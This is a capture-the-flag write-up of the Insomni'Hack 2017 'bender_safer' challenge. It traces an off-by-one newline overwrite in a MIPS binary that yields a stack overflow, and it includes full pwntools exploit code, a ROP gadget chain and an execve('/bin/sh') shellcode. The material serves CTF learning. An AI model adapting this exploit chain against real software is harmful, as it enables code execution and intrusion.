Insomni'Hack CTF 2017: bender_safer

Insomni'Hack CTF 2017 offered a series of 3 challenges (i.e. 3 different flags) on the same binary, called bender_safe:

  • bender_safe was a Reversing challenge (50 pts) to discover the correct validation sequence;
  • bender_safer (this one) was a Pwnable challenge (300 pts), which could only be done once the first challenge was solved;
  • bender_safest was a Shellcoding challenge (150 pts), which could only be reached done when the two challenges above were solved. The goal was to write a MIPS shellcode to establish a connection to the local port tcp/31337.

Close to the end, only 19 teams (out of 400+) had solved this challenge. I finished this challenge after the CTF, and since there was no write-up available, I chose to write one.

Info

The vulnerable file bender_safe is a 32-bit MIPS (Big-Endian) binary.

gef➤  !file ./bender_safe
./bender_safe: ELF 32-bit MSB executable, MIPS, MIPS-II version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=76438e9ed749bcfc6e191e548da153d0d3b3ee28, not stripped
gef➤  checksec
[+] checksec for '/home/user/bender_safer/bender_safe'
Canary                        : No
NX Support                    : No
PIE Support                   : No
No RPATH                      : Yes
No RUNPATH                    : Yes
Partial RelRO                 : No
Full RelRO                    : No

No major protection, but I assumed ASLR active and therefore randomizing the stack (only the stack, as the binary is not PIE).

In addition, some regions were RWX:

gef➤  vmmap
Start      End        Offset     Perm Path
0x00400000 0x00494000 0x00000000 r-x /home/user/bender_safer/bender_safe
0x004a3000 0x004a8000 0x00093000 rw- /home/user/bender_safer/bender_safe
0x004a8000 0x004cb000 0x00000000 rwx [heap]
0x7ffd6000 0x7fff7000 0x00000000 rwx [stack]
0x7fff7000 0x7fff8000 0x00000000 r-x [vdso]

Vulnerability

The binary execution starts where the challenge bender_safe left off, with the OTP validation. We then get into a simple menu offering 3 choices:

This is Bender's password vault storage
I have 54043195528445952 bytes of memory for storage!
Although 54043195528444928 of which is used to store my fembots videos...HiHiHi!
Your passwords are safe with me meatbag!
|                             |
|  1. View passwords          |
|  2. Enter new passwords     |
|  3. View admin password     |
|  4. Exit                    |
|                             |

which we can immediately spot in IDA with the function enter_vault. IDA also gives us a clear indication of the stack layout:

.text:004017E4 nb_password= -0x414
.text:004017E4 passwords= -0x410
.text:004017E4 choice= -0xC
.text:004017E4 sfp= -8
.text:004017E4 retaddr= -4

The passwords variable is a 1028 (0x410-0xC) byte array, which is used to store the passwords. When trying to populate the array (choice #2), the function init_passwords will be hit, and prompt the user for the number of passwords to store, which must be an integer strictly below 513. enter_vault will store the number of passwords to store in 2 locations, a dedicated variable (@ebp-0x414), but also as the first value of the array passwords (i.e. passwords[0], @ebp-0x410). The number of passwords is used as a counter for a loop that will read the passwords from stdin, thanks to the read_passwords function.

image_alt

After spending way too long spent trying to check for an arithmetic mistake, I reviewed more thoroughly the function read_passwords.

The function read_passwords takes two arguments, a pointer to a buffer and a integer, which corresponds to the size of data to read. The buffer is populated one character at a time, in the following loop:

image_alt

The interesting bit starts around 0x401640: when a \n character is provided to fill the byte at offset i (i.e. buffer[i]), the function performs an additional check to test if the preceding character (i.e. buffer[i-1]) was \r and if so replace it with \n. And the vulnerability (as subtle as it is) is here: when overwriting the byte, the function does not check that i>0. Because we are on big endian architecture, this can lead to size overwrite. To do so, we need to

  • Specify a number of passwords of ord('\r') (or 13);
  • The application will reply that we can store 13 passwords of 76 bytes;
  • Enter a first password with only \n

This will overwrite the number of passwords stored in passwords[0] to 10, allowing us to write 12 passwords of 102 bytes (i.e. 1224 bytes), which results in a stack overflow.

The vulnerability can be asserted by setting a breakpoint before and after the first call to read_passwords.

gef➤  b *0x004019BC
Breakpoint 1 at 0x4019bc
gef➤  r
[...]
|                             |
|  1. View passwords          |
|  2. Enter new passwords     |
|  3. View admin password     |
|  4. Exit                    |
|                             |
2
How many passwords do you want to store? : 13
You can store 13 passwords of 76 length, enjoy!
Enter your passwords, one per line

Breakpoint 1, 0x004019bc in enter_vault ()
gef➤  p/x $a0-4
0x7fff62d8
gef➤  x/x 0x7fff62d8
0x7fff62d8:     0x0000000d   # << current size, before the call to read_passwords(
gef➤  advance *0x004019c4
                             # << enter an empty first password (only \n)
gef➤  x/x 0x7fff62d8
0x7fff62d8:     0x0000000a   # << new size, after the call

And if we populate the 12 remaining passwords with "A"*102 the return address ($ra register) gets corrupted, which we can observe by taking the exit:

image_alt

Exploitation

Controlling $pc

So we are now able to make the program crash. To know the exact offset of $pc, I've used the De Bruijn pattern from gef and pwntools.

if __name__ == "__main__":
    HOST, PORT = "localhost", 12234
    r = remote(HOST, PORT)
    r.recvuntil("Here's your OTP challenge : \n")
    chal = r.readline().strip()
    resp = validate(chal)
    r.sendline(resp)

    log.info("poisoing buf[-1] with \\r")
    r.sendline("2")
    r.recvuntil('How many passwords do you want to store? : ')
    l = 13 # \r
    r.sendline(str(l))
    r.recvline()
    r.recvline()
    r.send('\n') # this will force passwords[0] to be overwritten with 0xA, making the password size length wrong

    log.info("filling up the stack")
    raw_input("attach to gdb now...")
    pattern = cyclic(2000, n=4)
    for i in range(12):
        r.send(pattern[i*102:i*102+102])

    r.interactive()

And we now know that the PC is controlled at offset 921, as we are on a Big Endian architecture:

image_alt

ROP-ing to a fixed area

So great, we can control $ra, and therefore call any location. But the MIPS ABI uses registers (from $a0 to $a3) to store parameters of function calls so we need to control (at least some of) them.

To achieve code execution, I decided to reach control only of $a0 and $a1, which is then sufficient to call read_passwords(buffer, length), and have a shellcode copied into one of the fixed RWX location.

After seeing too many ROP tools for MIPS fail, I simply used objdump -D to find the following gadgets:

  • 0x00403ba4: Control $s2 from a value given from the stack
.text:00403BA4 lw      $ra, 0x28+var_4($sp)
.text:00403BA8 lw      $s2, 0x28+var_8($sp)
.text:00403BAC lw      $s1, 0x28+var_C($sp)
.text:00403BB0 lw      $s0, 0x28+var_10($sp)
.text:00403BB4 jr      $ra
  • 0x403bbc: Use $s2 to control $v0
.text:00403BBC lw      $ra, 0x28+var_4($sp)
.text:00403BC0 move    $v0, $s2
.text:00403BC4 lw      $s1, 0x28+var_C($sp)
.text:00403BC8 lw      $s2, 0x28+var_8($sp)
.text:00403BCC lw      $s0, 0x28+var_10($sp)
.text:00403BD0 jr      $ra
  • 0x00403b98: Use $v0 to control $a0
.text:00403B98 move    $a0, $v0
.text:00403B9C bnez    $s0, loc_403B7C
.text:00403BA0 move    $a1, $zero
  • By re-using gadget@0x00403ba4 with 0x004038e8, we use $s2 to control $a1
.text:004038E8 move    $a1, $s2
.text:004038EC lw      $ra, 0x30+var_4($sp)
.text:004038F0 lw      $s4, 0x30+var_8($sp)
.text:004038F4 lw      $s3, 0x30+var_C($sp)
.text:004038F8 lw      $s2, 0x30+var_10($sp)
.text:004038FC lw      $s1, 0x30+var_14($sp)
.text:00403900 lw      $s0, 0x30+var_18($sp)
.text:00403904 sltiu   $v0, 1
.text:00403908 jr      $ra

We can chain those 4 gadgets to entirely control $a0 and $a1 and then call read_passwords to write a execve('/bin/sh') shellcode into one of fixed RWX pages (I've chosen 0x004a8a00).

log.info("preparing ropchain")
sfp = p32(0x004a8000)
set_s2 = p32(0x403BA4)
set_v0 = p32(0x403BBC)
set_a0 = p32(0x403B98)
set_a1 = p32(0x4038e8)
read_passwords = p32(0x004015E8)
a0 = p32(0x004a8a00)
a1 = p32(0x100)
p = 'YOLO'*2 + sfp
p+= set_s2 + 'YOLO'*8 + a0 + set_v0 + p32(0)*9 + set_a0 + "YOLO"*8 + 'ZZZ'
p+= set_s2 + 'YOLO'*8 + a1 + set_a1 + 'YOLO'*10 + 'Z'*3
p+= read_passwords + "YOLO"*9 + p32(0x4a8a00)
payload = p.ljust(303, "Z")
r.send(payload[:102])
r.send(payload[102:204])
r.send(payload[204:])

Shellcode crafting

For some reasons, the different shellcodes I had from external resources did not work. So I decided to use Keystone Engine to write one. Instead of writing totally from scratch, I used a template created earlier as part of my project cemu and adapted it:

log.info("preparing shellcode")
shellcode = [
  "li $sp, 0x4a8b00",
  "li $v0, 0x2f62696e",
  "sw $v0, 0($sp)",
  "li $v0, 0x2f736800",
  "sw $v0, 4($sp)",
  "li $v0, 4011",
  "move $a0, $sp",
  "addiu $a1, $zero, 0",
  "addiu $a2, $zero, 0",
  "syscall",
]

arch, mode, endian = keystone.KS_ARCH_MIPS, keystone.KS_MODE_MIPS32, keystone.KS_MODE_BIG_ENDIAN
ks = keystone.Ks(arch, mode | endian)
sc, cnt = ks.asm(shellcode)
log.info("keystone compiled %d instructions" % cnt)
sc = "".join([chr(x) for x in sc])
r.send(sc)

Update: as @0xGrimmlin mentioned, during the CTF, the challenge was actually QEMU chroot-ed, so technically this shellcode would not have worked, but you could similarly build another one doing open/read/write(stdout)

Fire

We have now all the components to launch our exploit. The final version is available here.

image_alt22

Conclusion

This is it... Well not really. The ultimate challenge was to craft a shellcode to connect to tcp/31337. But the way we used to solve this challenge in the last sections of this blog post makes it trivial to extend (by simply establishing a TCP connection) and solve the final challenge. I will leave this to the reader's curiosity ☺

I will just conclude this post by thanking the Insomni'hack team for putting up together such fun and original challenges. And also, huge congratulations 🥂 to the few teams who scored this challenge during the CTF.

Hope you enjoyed this article, and see you next time for more challenges...